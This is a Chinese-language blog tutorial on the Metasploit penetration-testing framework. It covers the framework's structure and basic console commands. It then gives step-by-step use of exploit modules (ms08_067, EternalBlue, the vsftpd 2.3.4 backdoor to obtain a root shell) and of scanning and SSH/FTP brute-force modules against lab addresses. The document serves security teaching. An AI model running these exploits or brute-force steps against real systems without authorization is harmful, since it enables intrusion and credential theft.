Metasploit 渗透测试框架(一)

文章详细介绍了Metasploit渗透测试框架的结构,包括基础库、模块、插件和接口,并解析了目录结构。接着,重点讲述了Metasploit的基本使用方法,如connect、show、search、use和info命令。此外,文章还讨论了通过不同协议(TCP、SNMP、SMB、SSH、FTP)进行信息收集的步骤和技巧,提供了多个实战示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

一、Metasploit 渗透测试框架介绍

1、Metasploit 体系框架

2、Metasploit 目录结构

二、Metasploit 基本使用方法

1、核心命令中的 connect 命令

2、模块相关的命令 show 使用方法                                                                                          

3、模块相关的命令 search 搜索的使用方法

4、模块相关的命令 use 的使用方法

5、模块相关的命令 info 的使用方法

三、Metasploit 渗透测试之信息收集        

1、基于 tcp 协议收集主机信息        

(1)使用 Metasploit 中的 nmap 和 arp_sweep 收集主机信息

(2)使用半连接方式扫描 TCP 端口

2、基于 SNMP 协议收集主机信息        

3、基于 SMB 协议收集信息        

(1)使用 smb_version 基于 SMB 协议扫描版本号

(2)使用 smb_enumshares 基于 SMB 协议扫共享文件(账号、密码)

(3)使用 smb_lookupsid 扫描系统用户信息(SID 枚举)

4、基于 SSH 协议收集信息

(1)查看 ssh 服务的版本信息

(2)对 SSH 暴力破解

5、基于 FTP 协议收集信息        

(1)查看 ftp 服务的版本信息        

(2)ftp 匿名登录扫描

(3)ftp 暴力破解


一、Metasploit 渗透测试框架介绍

1、Metasploit 体系框架

         

1、基础库:metasploit 基础库文件位于源码根目录路径下的 libraries 目录中,包括
Rex,framework-core 和 framework-base 三部分。                                                                 
Rex 是整个框架所依赖的最基础的一些组件 ,如包装的网络套接字、网络应用协议客户端与服务端实 现、日志子系统、渗透攻击支持例程、PostgreSQL 以及 MySQL 数据库支持等;        
framework-core 库负责实现所有与各种类型的上层模块及插件的交互接口;        
framework-base 库扩展了 framework-core,提供更加简单的包装例程,并为处理框架各个方面
的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;         
       
2、模块:模块组织按照不同的用途分为 6 种类型的模块(Modules): 分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块 (payloads)、编码器模块(Encoders)、空指令模块(Nops)。
注:payload 又称为 攻击载荷 ,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。        

3、插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。     

4、接口:包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界
面以及 msfapi 远程调用接口。
5、功能程序: metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快
速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload、msfencode 和
msfvenom 可以将攻击载荷封装为可执行文件、C 语言、JavaScript 语言等多种形式,并可以进行各种类型的编码。        
        

2、Metasploit 目录结构

切换到 Metasploit 工作目录
        
data:Metasploit 使用的可编辑文件
documentation:为框架提供文档
lib:框架代码库
modules:实际的 MSF 模块
plugins:可以在运行时加载的插件
scripts:Meterpreter 和其他脚本
tools:各种有用的命令行工具
        

二、Metasploit 基本使用方法

Metasploit 基本命令
Metasploit 程序需要使用 Postgresql 数据库。
Postgresql 概述:
PostgreSQL 是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加 州大学计算机系开发的 POSTGRES 4.2 版本为基础的对象关系型数据库管理系统。

        

扩展:PostgreSQL 和 MySQL 数据的应用场景区别:
从应用场景来说,PostgreSQL 更加适合严格的企业应用场景(比如金融、电信、ERP、CRM),而 MySQL 更加适合业务逻辑相对简单、数据可靠性要求较低的互联网场景

            

手动启动数据库    

┌──(root💀kali)-[~]
└─# systemctl start postgresql
                                                                                                                          
┌──(root💀kali)-[~]
└─# systemctl enable postgresql
Synchronizing state of postgresql.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable postgresql
Created symlink /etc/systemd/system/multi-user.target.wants/postgresql.service → /lib/systemd/system/postgresql.service.
启动 Metasploit,启动方式有两种。
第一种点击图标        

第二种使用终端命令
└─# msfdb run
        

 启动完成后会有一些统计信息,比如说版本号,有多少个 exploits,多少个 payloads 等。

msf6 > help
#查看帮助信息。        
        

         

注:通过 help 查看帮助,可以对 msf 有个整体认识,可以看到 msf 相关命令可以分成以下类型:
Core Commands #核心命令
Module Commands #模块命令
Job Commands #后台任务命令
Resource Script Commands #资源脚本命令
Database Backend Commands #数据库后端命令
Credentials Backend Commands #证书/凭证后端命令
Developer Commands #开发人员命令        
                
我们下面讲解一下我们常用的命令。        

1、核心命令中的 connect 命令

connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是“connect
192.168.1.1 80”
192.168.1.1 是 IP 地址 80 是端口号。
        
        

2、模块相关的命令 show 使用方法     

show 命令用的很多。                                                                                       

“show”命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post,
plugins, info, options                
例 1:列出 metasploit 框架中的所有渗透攻击模块 exploits。        
msf6 > show exploits
#列出 metasploit 框架中的所有渗透攻击模块。该命令列出数据较多, 较为耗费时间。
msf6 > show payloads #列出 metasploit 框架中的所有攻击载荷。
msf6 > show auxiliary #列出 metasploit 框架中的所有辅助攻击载荷。

        

3、模块相关的命令 search 搜索的使用方法

当你使用 msfconsole 的时候,你会用到各种漏洞模块、各种插件等等。所以 search 搜索命令就很 重要。
当你输入 search –h 会列出 search 命令的一些选项。
msf6 > search -h
Usage: search [ options ] <keywords> #search 后主要加选项和关键字                
        

例 1:通过 name 关键字进行查找
这里需要用到 name:命令        
msf5 > search mysql # search 后直接跟要查找内容,查得很广泛。只有当你对漏洞名字很描述
很清楚时,使用这个方法        
例: 先查找出自己想要的 ms08_067 漏洞模块。
msf6 > search ms08_067
语法:Search Keywords 参数 关键字
比如 msf6 > search name : mysql # 要查找 mysql 数据库的漏洞
        
每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 字段。
用户可以基于 Rank 对漏洞利用模块进行搜索,分类以及排序。         
               
Rank 按照可靠性降序排列:
excellent 漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入、命令执行、远程文件包含、
本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
great 该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服
务的版本检查之后可以返回到一个特定的返回地址。
good 该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的
Windows 7,服务器的 2012 等)
normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。
average 该漏洞利用程序不可靠或者难以利用。
low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)
manual 该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用
户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。
        
        
例 2:通过路径进行查找
有时候,我们只记得模块的路径,但是却忘记了模块的名称。那么就可以用 path:命令查找在该路 径下的所有模块。如果我要 mysql 路径下的所有 mysql 利用模块,那么就输入:
msf6 > search path:mysql                 
        
例 3:缩小查询范围
关键字:platform [ ˈ pl æ tf ɔː m] 平台
作用: Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞
有时候我们会搜索到大量的模块,那么可以用 platform:命令来缩小查询范围。使用 platform 命
令后, 所查询的结果会列出 rank 比较高的模块 。如果我要查找 mysql 的漏洞,那么输入:
msf6 > search platform:mysql                
        
例 4:通过类型进行查找
这里要使用到 type:命令。
type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)
要搜索 exploit 模块,那么就输入:
msf6 > search type:exploit        
        
例 5:联合查找
大家可以使用上面的参数自行搭配使用。如果我要查找 mysql 的 exploit 相关漏洞。那么输入:
msf6 > search name:mysql type:exploit
        

4、模块相关的命令 use 的使用方法

use 使用参数。如你要使用到某个模块,就要使用到 use 命令
语法:use 模块的名字        

5、模块相关的命令 info 的使用方法

info :显示模块的相关信息。
方法 1:info 模块名称                
        
从弹出的消息中,需要重点关注的内容是:
(1)可用目标, 就是查看可以攻击哪些操作系统         
        
        
(2)Basic options: 调用漏洞需要的相关参数        
        

         

(3)漏洞描述和执行过程:
        

         

(4)参考文档         
        

         

方法 2:使用 show 命令查看模块的相关信息
msf6 exploit(windows/smb/ms08_067_netapi) > show options #查看模块的选项        
msf6 exploit(windows/smb/ms08_067_netapi) > show targets #查看可以攻击哪些操作系统                
        
设置 RHOSTS 参数,指定攻击的目标机器
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.109
      

         

msf6 exploit(windows/smb/ms08_067_netapi) > show options #查看设置的值        

配置好了之后我们输入 exploit 或 run 就可以执行该模块。
msf6 exploit(windows/smb/ms08_067_netapi) > back # 使用 back 即可退出装载的模块
注:不要使用 exit,exit 会直接退出 Metasploit 程序

         

关闭链接 Ctrl+c
Abort session 1? [y/N] y
        
实战:通过会话进行连接目标机
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
-j 表示后台执行 渗透目标完成后会创建一个 session 我们可以通过 session 连接目标主机。
        
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions         
        
        
通过会话 Id 进入会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 2      
         
退出会话将会话保存到后台
C:\Windows\system32>background         
        
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
               
根据会话 Id 结束会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 2
                 
拓展:解决乱码问题(乱码是因为 windows 和 linux 的编码不一样导致的)
C:\Windows\system32>chcp 65001
        

三、Metasploit 渗透测试之信息收集        

1、基于 tcp 协议收集主机信息        

(1)使用 Metasploit 中的 nmap 和 arp_sweep 收集主机信息

Metasploit 中也有 NMAP 工具

ARP 扫描
msf6 > use auxiliary/scanner/discovery/arp_sweep        
查看一下模块需要配置哪些参数
msf6 auxiliary(scanner/discovery/arp_sweep) > show options                

         

配置 RHOSTS(扫描的目标网络)即可
msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.1.0/24        
SHOST 和 SMAC 是伪造源 IP 和 MAC 地址使用的。                 
        
配置线程数
msf6 auxiliary(scanner/discovery/arp_sweep) > set THREADS 30
msf6 auxiliary(scanner/discovery/arp_sweep) > run        
      
msf6 auxiliary(scanner/discovery/arp_sweep) > back #退出一下        

(2)使用半连接方式扫描 TCP 端口

msf6 > search portscan                 

2、基于 SNMP 协议收集主机信息        

简单网络管理协议(SNMP,Simple Network Management Protocol),由一组网络管理的标
准组成,包含一个应用层协议(application layer protocol)、数据库模(databaseschema)和一 组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。        
        
实战-使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息        
msf6 > use auxiliary/scanner/snmp/snmp_enum
msf6 auxiliary(scanner/snmp/snmp_enum) > show options
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.1.180
msf6 auxiliary(scanner/snmp/snmp_enum) > run        
         
注:可以看到通过 snmp 协议探测到的信息非常多。 如服务器硬件信息和服务器当前运行的进程, 这两方面是其他扫描方式,获取不到的。       
        

3、基于 SMB 协议收集信息        

SMB 概述:服务器消息块(Server Message Block,缩写为 SMB),又称网络文件共享系统
(Common Internet File System,缩写为 CIFS),一种应用层网络传输协议,由微软开发,主要功能 使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。
        经过 Unix 服务器厂商重新开发后,它可以用于连接 Unix 服务器和 Windows 客户机,执行打印和文件共享等任务。        

(1)使用 smb_version 基于 SMB 协议扫描版本号

msf6 > use auxiliary/scanner/smb/smb_version        
      

 注:可以扫描出来操作系统的版本号,版本号很准确。        

(2)使用 smb_enumshares 基于 SMB 协议扫共享文件(账号、密码)

SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会更满足我们的需求。                    
枚举共享
msf6 > use auxiliary/scanner/smb/smb_enumshares        
        

 可以看到有 1 个是我们前面设置的 xuegod 共享文件目录还有 4 个是隐藏的共享目录。        

(3)使用 smb_lookupsid 扫描系统用户信息(SID 枚举)

msf6 > use auxiliary/scanner/smb/smb_lookupsid

              

4、基于 SSH 协议收集信息

(1)查看 ssh 服务的版本信息

msf6 > use auxiliary/scanner/ssh/ssh_version        

(2)对 SSH 暴力破解

msf6 > use auxiliary/scanner/ssh/ssh_login        
                
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit
framework/data/wordlists/root_userpass.txt
           

5、基于 FTP 协议收集信息        

(1)查看 ftp 服务的版本信息        

加载 ftp 服务版本扫描模块
msf6 > use auxiliary/scanner/ftp/ftp_version        
        

         

扫描出结果是:vsFTPd 2.3.4        
msf6 auxiliary(scanner/ftp/ftp_version) > back
扫描出 ftp 服务的版本号,我们可以尝试搜索版本号,看看有没有可以利用的模块        
msf6 > search 2.3.4              
  

         

我们发现存在一个 exploit 模块,而且这个版本的 ftp 服务存在一个后门
我们尝试利用下这个模块
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor              
  

         

拿到了 shell,而且是 root 权限,我们尝试执行下命令
执行 id 命令, 查看当前用户                
        

(2)ftp 匿名登录扫描

msf6 > use auxiliary/scanner/ftp/anonymous        
        

(3)ftp 暴力破解

msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > set USERPASS_FILE /usr/share/metasploit-
framework/data/wordlists/root_userpass.txt
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值